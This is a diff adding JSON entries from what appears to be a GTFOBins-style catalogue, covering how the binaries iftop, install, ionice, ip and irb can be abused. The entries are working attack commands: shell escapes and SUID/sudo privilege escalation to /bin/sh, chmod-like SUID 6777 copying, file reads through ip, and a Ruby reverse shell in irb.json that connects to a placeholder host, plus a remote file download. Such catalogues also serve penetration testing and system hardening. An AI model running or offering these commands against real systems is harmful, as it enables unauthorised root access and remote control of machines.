+ "description": "This requires 'iftop' 0.17 and the privilege to capture on some device (specify with '-i' if needed) .",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "iftop\n!/bin/sh\n"
7
+ }
8
+ ],
9
+ "limited-suid": [
10
+ {
11
+ "code": "./iftop\n!/bin/sh\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo iftop\n!/bin/sh\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/install.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "description": "This can be run with elevated privileges to change permissions ('6' denotes the SUID bits) and then read, write, or execute a copy of the file.",
3
+ "functions": {
4
+ "suid": [
5
+ {
6
+ "code": "TF=$(mktemp)\n./install -m 6777 [file] $TF\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "TF=$(mktemp)\nsudo install -m 6777 [file] $TF\n"
12
+ }
13
+ ]
14
+ }
15
+ }
gtfo/data/ionice.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "ionice /bin/sh"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./ionice /bin/sh -p"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo ionice /bin/sh"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/ip.json ADDED
@@ -0,0 +1,28 @@
1
+ {
2
+ "description": "The read file content is corrupted by error prints.\n",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "ip -force -batch [file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./ip -force -batch [file]\n"
12
+ },
13
+ {
14
+ "description": "This only works for Linux with CONFIG_NET_NS=y.",
15
+ "code": "./ip netns add foo\n./ip netns exec foo /bin/sh -p\n./ip netns delete foo\n"
16
+ }
17
+ ],
18
+ "sudo": [
19
+ {
20
+ "code": "sudo ip -force -batch [file]\n"
21
+ },
22
+ {
23
+ "description": "This only works for Linux with CONFIG_NET_NS=y.",
24
+ "code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/sh\nsudo ip netns delete foo\n"
25
+ }
26
+ ]
27
+ }
28
+ }
gtfo/data/irb.json ADDED
@@ -0,0 +1,47 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "irb\nexec '/bin/bash'\n"
6
+ }
7
+ ],
8
+ "reverse-shell": [
9
+ {
10
+ "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
11
+ "code": "irb\nrequire 'socket'; exit if fork;c=TCPSocket.new('[host]', [port]);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read} end\n"
12
+ }
13
+ ],
14
+ "file-upload": [
15
+ {
16
+ "description": "Serve files in the local folder running an HTTP server on port [port].",
17
+ "code": "irb\nrequire 'webrick'; WEBrick::HTTPServer.new(:Port => [port], :DocumentRoot => Dir.pwd).start;\n"
18
+ }
19
+ ],
20
+ "file-download": [
21
+ {
22
+ "description": "Fetch a remote file via HTTP GET request.",
23
+ "code": "irb\nrequire 'open-uri'; IO.copy_stream(open('[url]'), '[file]')\n"
24
+ }
25
+ ],
26
+ "file-write": [
27
+ {
28
+ "code": "irb\nFile.open(\"[file]\", \"w+\") { |f| f.write(\"DATA\") }\n"
29
+ }
30
+ ],
31
+ "file-read": [
32
+ {
33
+ "code": "irb\nputs File.read(\"[file]\")\n"
34
+ }
35
+ ],
36
+ "library-load": [
37
+ {
38
+ "code": "irb\nrequire \"fiddle\"; Fiddle.dlopen(\"lib.so\")\n"
39
+ }
40
+ ],
41
+ "sudo": [
42
+ {
43
+ "code": "sudo irb\nexec '/bin/bash'\n"
44
+ }
45
+ ]
46
+ }
47
+ }